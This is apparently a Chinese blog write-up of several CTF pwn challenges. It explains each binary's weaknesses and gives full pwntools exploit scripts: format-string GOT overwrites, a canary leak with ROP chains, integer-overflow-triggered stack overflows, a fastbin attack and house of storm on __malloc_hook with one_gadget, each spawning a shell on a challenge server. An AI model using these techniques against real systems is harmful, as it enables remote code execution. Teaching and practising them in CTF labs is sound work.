文章目录
好久不做题了,刚刚开始的签到题就做了三天,感觉水平确实下降得太厉害了,恢复训练~
** **
repeater
1.题目分析
题目逻辑非常简单,就是read函数输入内容,然后printf输出,经过观察和简单得调试,我们需要注意到几个内容
- pinrtf存在格式化字符串漏洞
- read长度为0x64,不足以造成栈溢出
- 经过权限查询发现开启了NX保护,RELRO是部分开启,也就是堆栈不可执行
- 经过查看,bss段不可执行
2.我的错误思路
在分析得过程中因为没有及时看清各个攻击条件,导致了我有几个错误得思路
- 错误思路1:首先通过泄露堆栈地址,然后复写main函数得返回地址,错误原因是,没有看清楚题目中一直在while循环之中
- 错误思路2:随后我改进思路,将shellcode写入栈中,然后用任意位置写将putchar得got表指向shellcode,错误原因:没有看到堆栈不可知性NX保护
- 错误思路3:我又将shellcode写入了bss段去执行(stack pivot技术),错误原因:没有看到bss段不可以执行
3.正确思路
思路得正确解题步骤,直接总结如下
1.利用printf在泄露栈上存放得__libc_start_main相关得位置
2.利用泄露地址使用LibcResercher推测服务器使用libc得版本
3.利用格式化字符串覆写printf的地址为计算出的system地址
4.输入/bin/sh在调用覆写后的printf函数触发getshell
总结的很简单,但是其中有好几个坑点需要注意
坑点1 深入理解格式化字符串写入
本题目经过测试发现,使用
n
写
入
4
字
节
覆
写
g
o
t
表
不
成
功
,
只
能
尝
试
使
用
2
个
n写入4字节覆写got表不成功,只能尝试使用2个
n写入4字节覆写got表不成功,只能尝试使用2个hn覆写,这个时候简单记住一个规则, 格式化字符串写入本质就是写入了输出的长度值,因此同一个指令中写入有两种方法,一是先写入数值小的,再写入(数值大的-数值小的)的差值;二是写入大的,然后再写入(0x10000-数值大的+数值小的)
这个需要大家多多测试尝试一下,例如’0xff008800’,就需要写入0xff00再写入0x8900,或者是先写入0x8900再写入0x7600
坑点2 libc测试泄露的函数地址问题
这个不是技术问题,我本地使用的环境是libc.so.6,%35$p泄露的环境是__libc_start_main+241,但是题目环境是__libc_start_main+247
4.利用代码
from pwn import *
import pwnlib
from LibcSearcher import *
#context(os='linux',arch='i386',log_level='debug')
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 17424
conn = remote(HOST ,PORT )
#conn = process("./pwn7")
#pwnlib.gdb.attach(conn,"b *0x080485CA\n")
conn.recvuntil("Do you know repeater?\n")
'''step1:泄露libc中__libc_start_main函数的内存地址'''
payload = "%35$p"
conn.sendline(payload) #格式化字符串泄露栈内容
leak_addr = conn.recv(10)
__libc_start_main = int(leak_addr,16) - 247 #实际题目中247偏移量的坑点就在这里
print "__libc_start_main function in libc is",hex(__libc_start_main)
libc = LibcSearcher('__libc_start_main',__libc_start_main) #推测libc版本,需要挨个试一下
libc_base_addr = __libc_start_main - libc.dump('__libc_start_main') #计算libc基址
system_addr = libc_base_addr + libc.dump('system') #计算system内存地址
'''step2:通过格式化字符串写入覆写printf的got表'''
got_plt_printf = 0x804A014 #printf在got表中的位置
payload = ''
first_hn = system_addr/0x10000 #取高16位,偏移量14
second_hn = system_addr%0x10000 #取低16位,偏移量13
second_hn = (0x10000-first_hn)+second_hn #这里使用的是 先输入“大的”,再输入“0x10000-大的+小的” 的方法
str1 = "%" + str(first_hn) + "c%14$hn"
str2 = "%" + str(second_hn) + "c%13$hn"
payload += (str1 +""+ str2)
payload = payload.ljust(28,chr(0))
payload += p32(got_plt_printf)
payload += p32(got_plt_printf+2)
conn.sendline(payload)
'''
|------------------------| ====>格式化字符串偏移量为6
| shellcode |
|------------------------|
| shellcode |
|------------------------|
| shellcode | ====>28bit写入格式化字符串
|------------------------|
| shellcode |
|------------------------|
| shellcode |
|------------------------|
| shellcode |
|------------------------|
| shellcode |
|------------------------|
| got_plt_printf | ======>printf函数got表低16位
|------------------------|
| got_plt_printf+2 | ======>printf函数got表高16位
|------------------------|
'''
'''step3: 触发漏洞'''
conn.sendline("/bin/sh"+'\x00')
conn.interactive()
5.知识点总结
- 格式化字符串的读写,特别是多指令同时写
- got表劫持
- 在泄露libc中函数的情况下,利用LibcResercher猜测libc版本推算system函数地址
Canary
1.题目分析
基本情况一目了然,总结的信息点如下:
- 程序开启了canary保护,没有开启ASLR
- 程序两次输入长度均可以覆盖当前栈的返回地址
- 程序本身自带了/bin/sh字符串和system函数
2.解题思路
思路就很简单,万能gadget的内容可以简单看一下万能gadget函数
1.利用第一次读泄露canary内容(因为canary的最低位为\x00)
2.构造ROP链,第一步调用system('/bin/sh')使system函数的got.plt指向内存地址,第二步利用万能gadget的__libc_csu_init函数劫持程序流
3.利用代码
代码很清楚,不再过多解释了
from pwn import *
import pwnlib
from LibcSearcher import *
#context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 18037
conn = remote(HOST ,PORT )
#conn = process("./pwn4")
#pwnlib.gdb.attach(conn,"b *0x40082C\nb *0x400881\n")
#pause()
'''step1:泄露canary'''
conn.recvuntil("Please leave your name(Within 36 Length):")
payload1 = 'A'*0x238
conn.sendline(payload1) #这里用sendline就是为了多发一位覆盖canary的最低位\x00
conn.recvuntil(payload1)
leak_canary = u64(conn.recv(8)) - 0xa
print "The canary is ",hex(leak_canary)
'''step2:构造ROP链'''
pop_rbx_rbp_r12_r13_r14_r15 = 0x040095A
ROPgadget_point = 0x400943
system_got = 0x601030
binsh_addr = 0x601068
system_first_call = 0x400803 #调用了system的hint函数地址
payload2 = 'A'*0x208
payload2 += p64(leak_canary)
payload2 += p64(0)
payload2 += p64(system_first_call) #先调用system函数
payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15) #万能gadget的ROP1位置
payload2 += p64(0) #rbx
payload2 += p64(1) #rbp
payload2 += p64(system_got) #r12
payload2 += p64(0) #r13
payload2 += p64(0) #r14
payload2 += p64(binsh_addr) #r15
payload2 += p64(ROPgadget_point) #万能gadget的ROP2位置
conn.send(payload2)
conn.interactive()
4.知识点总结
- canary内容泄露
- 万能gadget构造ROP链
- 关于plt和got表的基础知识
Easy_int
1.题目分析
这个题目很明显其实有两个漏洞,一是在主函数里如何触发vlun函数的问题,二是vlun函数里面有个栈溢出漏洞
2.解题思路
1.关于如何触发vlun
猛一看感觉很奇怪,按照逻辑整形经过程序处理一定是正数,而只有负数才能进入vlun函数。
这里我们需要掌握一个基础知识,就是存储用补码存储,int表示范围在-2 ^ 31 ~ 2 ^ 31 - 1,只要我们输入0x80000000代表的整数,就会被认为是最小数-2 ^ 31,就可以绕过触发vlun(这是基本功,学过计算机组成原理应该都知道)
2.关于如何利用vlun
一个没有任何保护的栈溢出,在程序中又有system又有/bin/sh,利用就好了。
我个人有个疑问,我一开始直接想用万能gadget函数__libc_csu_init,但是怎么都无法成功利用,用puts的got值替换system的got值测试也是正常输出的,恳请大佬指点一下为什么
3.利用代码
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 14474
conn = remote(HOST ,PORT )
#conn = process("./pwn2")
#pwnlib.gdb.attach(conn,"b *0x4011B6\n")
#pause()
'''step1:check cross'''
conn.recvuntil("Input your int:")
payload1 = str(int(0x80000000)) #2147483648
conn.sendline(payload1)
'''step2:rop chain'''
system_got = 0x04034C8
bin_sh = 0x403500
pop_rdi_ret = 0x401343
puts_string = 0x04011C2
call_system = 0x04011F0
payload2 = 'A'*0x28
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh)
payload2 += p64(call_system)
'''
#这个就是我用万能gadget函数构造的ROP链,不知道为什么无法利用成功
bin_sh = 0x403500
pop_rbx_rbp_r12_r13_r14_r15 = 0x040133A
ROPgadget_point = 0x0401326
payload2 = 'A'*0x28
payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload2 += p64(0)
payload2 += p64(1)
payload2 += p64(bin_sh)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(system_got)
payload2 += p64(ROPgadget_point)
'''
conn.recvuntil("Congratulations!")
conn.sendline(payload2)
conn.interactive()
4.知识点总结
- 整型问题
- 构造ROP链
overflow2PWN
真的只是栈溢出,然后调用system的方法和我在Easy_int用到的一摸一样,就题目而言不同的地方就是保护开启了NX和Relro full(就是got表只能在第一次赋值才能有写的权限,避免了got表劫持攻击)
直接上代码了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 15287
conn = remote(HOST ,PORT )
#conn = process("./pwn")
#pwnlib.gdb.attach(conn,"b *0x4011E2\n")
#pause()
pop_rdi_ret = 0x040126b
bin_sh = 0x402004
system_call = 0x40116D
conn.recvuntil("Please Input your name.")
payload = "A"*0x28
payload += p64(pop_rdi_ret)
payload += p64(0x402004)
payload += p64(system_call)
conn.send(payload)
#pause()
conn.interactive()
overflow
没有任何保护的栈溢出,没什么好说的
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 19988
conn = remote(HOST ,PORT )
get_flag = 0x400751
conn.recvuntil("say something?")
payload = "A"*0x38
payload += p64(get_flag)
conn.send(payload)
conn.interactive()
Baby-heap1
1.题目分析
本题目大佬们说是常规的套路题目,经过分析通后发现确实挺套路的,但是中间解决了很多小的细节问题,先把题目的条件分析一下
- 功能上是堆的各种增删改查的操作,在content_read函数中对输入的长度没有限制,所以存在越界写入的漏洞
- 本函数运用的是libc2.23版本,程序各类保护是全开的
2.思路解析
首先要解决程序使用libc2.23环境和动态调试的问题,可以参考我的博客CTF pwn中利用pwntools加载不同版本libc调试程序的方法
由于保护全开,所以写入shellcode、构造ROP、got hijack统统失效,并且我们是不知道栈地址的,所以只能使用malloc_hook、free_hook此类函数来解决,关于_malloc_hook的讲解可以看我的博客,也可以网上搜索。然后我们具体分析,解决过程中的问题
1.利用smallbin泄露libc基地址
这个应该是堆的基础知识,不再赘述了,注意不要让释放的堆连着,否则会合并,也不要让释放的堆放在最后面。我的构造方法直接看代码即可,建议自己调试一下
2.利用fastbin attack构造能够操作realloc_hook和malloc_hook的堆
注意,fastbin attack是基础知识,但是有一点小细节,在申请能够操作realloc_hook和malloc_hook的堆的位置时,我们申请的时候Fake_chunk中新的堆地址需要指向偏移malloc_hook-0x23(利用内存地址中最高位0x7f作为新chunk的大小),malloc(0x60)后申请堆块的时候会检查空闲块的大小是否匹配,申请0x60实际chunk大小为0x70,否则创建堆不成功
我们用两张图说明
3.修改malloc_hook和realloc_hook控制程序流
控制流的顺序为
malloc->malloc_hook->realloc->realloc_hook->one_gadget
使用realloc的原因是,one_gadget往往对栈空间有要求,所以需要realloc函数的push相关指令,来改变栈空间的结构
综上,题目可解
3.解题代码(有小细节注意自己调试)
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(create_size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("size:")
conn.sendline(str(create_size))
def edit(index,edit_payload):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
conn.recvuntil("Size:")
conn.sendline(str(len(edit_payload)))
conn.recvuntil("Content:")
conn.send(edit_payload)
def show(index):
conn.recvuntil("Command:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def free(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
def leak_heap_addr():
'''泄露堆的地址,实际上没啥用,在后面修复堆用的到'''
edit(2,"A"*0x30)
show(2)
content = conn.recv(0x50)
content = content.split("A"*0x30)[1].split("\n-----")[0]
content = content.ljust(8,chr(0))
leak_heap = u64(content)
return leak_heap
def leak_libc_base(leak_heap):
'''泄露main_arena + 88 的内存地址'''
main_arena = 0x3C4B20 #libc中main_arena的偏移
edit(2,"A"*0x38)
show(2)
content = conn.recv(0x60)
content = content.split("A"*0x38)[1].split("\n-----")[0]
content = content[:-1] #这里有个坑,我在远程链接的时候会多出一个换行符,所以结尾需要去掉
content = content.ljust(8,chr(0))
leak_main_erena_88 = u64(content)
libc_base = leak_main_erena_88 - 88 - main_arena #leak main_arena + 88 psition
return libc_base,leak_main_erena_88
def fix(leak_heap,leak_main_erena_88):
'''这个只是把为了泄露破坏的对结构恢复了'''
payload = "\x00"*0x28 + p64(0xa0) + p64(leak_heap) + p64(leak_main_erena_88)
edit(2,payload)
def fastbin_attack(libc_base,libc):
'''利用fastbin attack的UAF新建堆,用来操作realloc_hook和malloc_hook'''
malloc_hook = libc_base + libc.sym["__malloc_hook"]
print "The __malloc_hook addr is ",hex(malloc_hook)
free(5)
payload = p64(0)*5 + p64(0x70) + p64(malloc_hook-0x23) #这里用
edit(4,payload)
create(0x60) #5
create(0x60) #7
def _malloc_hook_chain():
'''修改realloc_hook和malloc_hook的值,控制程序流'''
'''程序控制malloc->malloc_hook->realloc->realloc_hook->one_gadget'''
realloc_addr = libc_base + libc.sym["realloc"] #realloc程序地址
realloc_start = [0x0,0x2,0x4,0x6,0x8,0xb,0xc] #为了保证one_gadget,需要通过控制realloc的起始地址来控制堆栈
one_gadget_list = [0x4527a,0xf03a4,0xf1247] #不同one_gadget指令备用
one_gadget = libc_base + one_gadget_list[0]
print "The realloc addr is ",hex(realloc_addr)
payload = "A"*3 + p64(0)
payload += p64(one_gadget)
payload += p64(realloc_addr + realloc_start[0])
edit(7,payload)
create(0x30)
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 13747
#conn = remote(HOST ,PORT )
conn = process(['./ld-2.23.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.23.so'})
#pwnlib.gdb.attach(conn,"b main\n")
libc = ELF("./libc-2.23.so")
pause()
'''第一步:泄露libc的基地址'''
create(0x20) #0
create(0x90) #1
create(0x20) #2
create(0x90) #3
create(0x20) #4
free(1)
free(3)
leak_heap = leak_heap_addr()
libc_base,leak_main_erena_88 = leak_libc_base(leak_heap)
print "The leak heap addr is",hex(leak_heap)
print "The leak libc base is",hex(libc_base)
fix(leak_heap,leak_main_erena_88) #修复被破坏的对结构
'''第二步:利用Fastbin attack的UAF构造能够操作realloc_hook和malloc_hook的堆'''
create(0x90) #1
create(0x90) #3
create(0x60) #5 注意这里构造0x60大小是有讲究的
create(0x20) #6 这个其实没啥用,懒得删了
fastbin_attack(libc_base,libc)
'''第三步:修改realloc_hook和malloc_hook的值,控制程序流'''
_malloc_hook_chain()
conn.interactive()
4.知识点总结
- fastbin attack 的 UAF
- malloc_hook以及realloc和realloc_hook的调用
- smallbin泄露libc地址
printf
这个题目我居然卡了好几天,感觉还是经验太差了,居然最最基础的格式化字符串卡住了…然后新手的话,这个题坑其实还是挺多的
1.题目分析
- encode1函数的核心算法要澄清,本质上就是用key每一个字节异或,再拿这个异或的字节去异或加密明文,因此我们只要让key形如“AA”就可以控制输入明文。最终的密文是存在data段上的,密钥key存放在栈中
- 关于encode2和encode3的核心算法,也是异或加密,通过仿真两个加密算法,就可以得到明文和密文的映射表(实验发现一一对应),从而我们就可以控制密文的内容注意!encode2密文存放在data段,encode3密文存放在栈空间
- 关于main程序的循环,我们发现是通过一个全局变量控制的,初始变量为1,执行一次就结束了。需要我们后续破解!
- 漏洞函数在encode2中的printf函数,可以通过控制输入明文,达到控制密文触发格式化字符串漏洞
- 程序仅开启了NX和PIE,存在got hijack攻击的可能
- 注意题目是没有给libc版本的
2.我的错误思路
格式化字符串漏洞全世界都会用,但是总结我两个错误思路,就是如何稳定的利用格式化字符串。我在本地测试的时候都是利用栈中可以通过read控制,且在printf时没有改变的位置完成格式化字符串的触发,但是在远程未知环境大概率因为环境不同就没有办法触发了…
正确的思路应该是,利用稳定的RBP链,通过one byte 修改,最终实现got表的修改。
错误思路1:通过encode2泄露代码基地址和libc基地址后,利用在data段的src参数,将src通过strcpy函数写在栈空间上,然后利用encode2中没有变化的段覆写eixt_got为one_gadget函数,然后修改全局变量控制程序退出
错误思路2:泄露地址信息后,利用encode1中输入key值(在栈空间)写入exit+got地址,后面执行过程同上
3.正确的思路和详细解释
第一步:修改全局变量qword_201700控制程序循环次数
能够利用的原因是encode1明文输入长度为0x150,而变量src在data段中的长度只有0x140,且后面就是控制循环次数的参数
payload = "A"*0x148
encode1("11",payload)
第二步:通过控制encode2的加密算法,利用printf泄露代码段基地址、__libc_start_main函数地址和rbp链的地址
def encode2_char(num):
'''encode2函数加密'''
sum = 0
sum += 4*(num&0xc)
sum += 4*(num&0x30)
sum += ((num&0xc0)>>6)
sum += 4*(num&0x3)
return sum
def make_encode2_table():
'''encode2加密明密文映射表'''
table = []
for i in range(0,256):
table.append(encode2_char(i))
return table
encode2_table = make_encode2_table() #泄露代码段基地址
payload = decode2(encode2_table,"%10$p")
code_base_addr = prinft_leak(payload) - 0x8b0
print "The text base segment is",hex(code_base_addr)
payload = decode2(encode2_table,"%55$p") #泄露__libc_start_main函数地址
__libc_start_main_addr = prinft_leak(payload) - 0xf0 #231 #__libc_start_main
print "The __libc_start_main addr is",hex(__libc_start_main_addr)
payload = decode2(encode2_table,"%14$p") #泄露rbp链地址
rbp_chain_addr = prinft_leak(payload)
print "The rbp chain is",hex(rbp_chain_addr)
这里有个小坑,计算泄露的__libc_start_main函数地址时候,不同libc版本环境下调用的代码偏移可能不同,比如我本地是231,实际环境是0xf0,一般情况下都不会差太多,需要根据实际泄露的数据判断!
第三步:根据__libc_start_main函数地址,利用LibcReseacher判断libc版本
第四步:利用encode2中的rbp chain来稳定修改strcpy函数地址为one_gadget地址
这一步是关键的步骤,将一下具体什么实现思路
-
首先看一下利用位置
利用的位置在encode2函数中是%14位置
-
利用思路第一部分:通过第二步泄露出的rbp地址,能够计算出0x7fff0eb9e7a0地址,通过对%14位置的操作,修改0x7fff0eb9e780的最低位,再通过%50操作依次修改0x7fff0eb9e7a0的存储内容
这步是通过%14位置的操作,将0x7fff0eb9e780内容依次变化为0x7fff0eb9e7a1、0x7fff0eb9e7a2、0x7fff0eb9e7a3、0x7fff0eb9e7a4等等,然后通过对0x7fff0eb9e780(%50位置)的操作按字节修改0x7fff0eb9e7a0+i位置的内容
最终效果是将0x7fff0eb9e7a0存储修改为strcpy_got地址
- 利用思路第二部分:通过操作%50位置(0x7fff0eb9e780)修改0x7fff0eb9e7a0(%54)存储的内容,依次为(strcpy_got + i),然后通过对%54位置操作,将strcpy_got修改为one_gadget地址
原理同上,最终实现效果是将strcpy_got的内容修改为one_gadget地址
第五步:利用encode3中触发strcpy漏洞
这里提一下为什么一定可以用one_gadget方法,这是结合encode3可以对栈输入内容,我们用\x00填充即可!
4.利用代码
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def encode1(str1,str2):
conn.recvuntil("your choice:")
conn.sendline("1")
conn.recvuntil("keys?")
conn.send(str1)
conn.recvuntil("your message to encode:")
conn.send(str2)
def encode2(str):
conn.recvuntil("your choice:")
conn.sendline("2")
conn.recvuntil("your message to encode:")
conn.send(str)
def encode3(str):
conn.recvuntil("your choice:")
conn.sendline("3")
conn.recvuntil("your message to encode:")
conn.send(str)
def prinft_leak(payload):
'''泄露栈空间内容'''
encode2(payload)
content = conn.recvuntil("nice encoding...")
content = content.replace("nice encoding...","").replace("after encoding...\n","")
leak_num = int(content,16)
print hex(int(content,16))
return leak_num
def encode2_char(num):
'''encode2函数的加密算法'''
sum = 0
sum += 4*(num&0xc)
sum += 4*(num&0x30)
sum += ((num&0xc0)>>6)
sum += 4*(num&0x3)
return sum
def make_encode2_table():
'''利用encode2加密算法做出明密文的映射表'''
table = []
for i in range(0,256):
table.append(encode2_char(i))
return table
def decode2(table,target_str):
'''为控制encode2栈空间输入内容,进行明文密文的映射转换'''
decode_str = ""
for enum in target_str:
for i in range(256):
if ord(enum) == table[i]:
decode_str += chr(i)
break
return decode_str
def hack(strcpy_got,encode2_table,one_gadget,rbp_chain_addr):
'''攻击代码'''
'''第一步:修改main函数的rbp指向strcpy_got地址'''
for i in range(5,-1,-1):
input_number = (rbp_chain_addr + 0x20 + i) & 0xff
payload = "%" + str(input_number) + "c%14$hhn"
payload = decode2(encode2_table,payload)
encode2(payload)
input_number = (strcpy_got>>(i*8))&0xff + 0x100
payload = "%" + str(input_number) + "c%50$hhn"
payload = decode2(encode2_table,payload)
encode2(payload)
'''第二步:修改strcpy_got内容为one_gadget地址'''
for i in range(5,-1,-1):
input_number = (strcpy_got + i) & 0xff
payload = "%" + str(input_number) + "c%50$hhn"
payload = decode2(encode2_table,payload)
encode2(payload)
input_number = (one_gadget>>(i*8))&0xff + 0x100
payload = "%" + str(input_number) + "c%54$hhn"
payload = decode2(encode2_table,payload)
encode2(payload)
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 15557
conn = remote(HOST ,PORT )
#conn = process(['./ld-2.23.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.23.so'})
#conn = process("./pwn6")
#pwnlib.gdb.attach(conn,"b main\n")
#pause()
encode2_table = make_encode2_table()
'''第一步:解决主程序的循环次数问题'''
payload = "A"*0x148
encode1("B"*0x20,payload)
'''第二步:泄露程序段基址、__libc_start_main函数地址和rbp链的地址'''
payload = decode2(encode2_table,"%10$p") #泄露程序段基址
code_base_addr = prinft_leak(payload) - 0x8b0
print "The text base segment is",hex(code_base_addr)
payload = decode2(encode2_table,"%55$p") #泄露__libc_start_main函数地址
__libc_start_main_addr = prinft_leak(payload) - 0xf0#231
print "The __libc_start_main addr is",hex(__libc_start_main_addr)
payload = decode2(encode2_table,"%14$p") #泄露rbp链的地址
rbp_chain_addr = prinft_leak(payload)
print "The rbp chain is",hex(rbp_chain_addr)
'''第三步:通过LibcSearcher判断libc类型'''
libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
libc_base_addr = __libc_start_main_addr - libc.dump('__libc_start_main')
strcpy_got = code_base_addr + 0x201580
print "The libc base addr is ",hex(libc_base_addr)
print "The strcpy got is ",hex(strcpy_got)
one_gadget = 0x4527a #需要根据泄露的libc版本,修改one_gadget的地址
one_gadget =libc_base_addr + one_gadget
print "The one_gadget addr is",hex(one_gadget)
'''第四步:通过控制rbp链,修改strcpy_got的内容'''
hack(strcpy_got,encode2_table,one_gadget,rbp_chain_addr)
'''第五步:触发函数漏洞'''
payload = "\x00"*0x148 #注意输入大量的\x00填充栈空间
encode3(payload)
#pause()
conn.interactive()
5.知识点总结
- LibcReseacher泄露libc版本
- 格式化字符串通过rbp链稳定利用问题
- got hijack
simple_storm
这个题目可以说是house of storm最简单最好得测试题目了,适合学习。house of storm是一种结合了unsorted bin和large bin攻击得技术,利用起来并不复杂,但是对利用得条件比较苛刻,需要大家学习一下技术。可以参考我的文章
House of storm学习总结
1.题目分析
开启了ASLR
功能模块不再分析,就是对堆得写入没有长度限制,导致了可以控制unsorted bin和largebin得内容。如果学过house of storm技术,利用得思路就非常非常简单了
2.解题思路
第一步:利用large bin泄露main_arena地址
第二步:利用house of storm技术新建一个指向__malloc_hook-0x50地址得fake chunk
第三步:利用one gadget写到malloc hook位置
第四步:触发漏洞
3.解题代码
直接上代码了,因为如果懂原理,就是很简单,还是要看原理!
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(size):
conn.recvuntil("Your choice?")
conn.sendline("1")
conn.recvuntil("Size?")
conn.sendline(str(size))
def delete(index):
conn.recvuntil("Your choice?")
conn.sendline("2")
conn.recvuntil("Index?")
conn.sendline(str(index))
def edit(index,payload):
conn.recvuntil("Your choice?")
conn.sendline("3")
conn.recvuntil("Index?")
conn.sendline(str(index))
conn.recvuntil("Content?")
conn.send(str(payload))
def show(index):
conn.recvuntil("Your choice?")
conn.sendline("4")
conn.recvuntil("Index?")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = '114.67.175.224'
PORT = 13231
#conn = remote(HOST ,PORT)
conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./simple_storm'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./pwn6")
pwnlib.gdb.attach(conn,"b main\n")
pause()
'''步骤一:利用largebin泄露main_arena地址,泄露heap地址(非必须)'''
add(0x20) #0
add(0x400) #1
add(0x20) #2
add(0x410) #3
add(0x20) #4
add(0x20) #5
add(0x20) #6
delete(1)
delete(3)
delete(5) #这里多free一个fastbin,是为了后面申请fastbin chunk将unsorted bin得chunk分配到largebin中
#=====泄露main_arena地址======#
show(1)
content = conn.recvuntil("\n1. add")
content = content.replace("\n1. add","")[1:]
content = content.ljust(8,"\x00")
main_arena = u64(content) - 88
print "The main_arena addr is ",hex(main_arena)
#=====泄露heap地址(非必须)======#
show(3)
content = conn.recvuntil("\n1. add")
content = content.replace("\n1. add","")[1:]
content = content.ljust(8,"\x00")
heap = u64(content)
print "The heap addr is",hex(heap)
'''步骤二:利用house of storm技术申请fake chunk'''
#=====构造unsorted bin 和large bin得空闲链结构======#
add(0x20) #5 = 7 将当前unsorted bin chunk分配到largebin中
add(0x410) #3 = 8
delete(3)
malloc_hook = main_arena - 0x10
fake_chunk = malloc_hook - 0x50
print "The fake_chunk addr is",hex(fake_chunk)
#=====修改unsortedbin chunk内容======#
payload = p64(0) + p64(fake_chunk)
edit(3,payload)
#=====修改largebin chunk内容======#
payload = p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -5)
edit(1,payload)
#=====触发漏洞申请fake chunk======#
add(0x48) #9
'''步骤三:将one gadget覆写到__malloc_hook中'''
#=====计算one gadget地址======#
libc = LibcSearcher('__malloc_hook',malloc_hook)
libc_base_addr = malloc_hook - libc.dump('__malloc_hook')
one_gadget = libc_base_addr + 0x4527a
print "The one_gadget addr is",hex(one_gadget)
#=====修改__malloc_hook内容======#
payload = p64(one_gadget) * 8 + p64(one_gadget)
edit(9,payload)
'''步骤四:触发漏洞'''
add(0x20)
conn.interactive()
4.知识点总结
- house of storm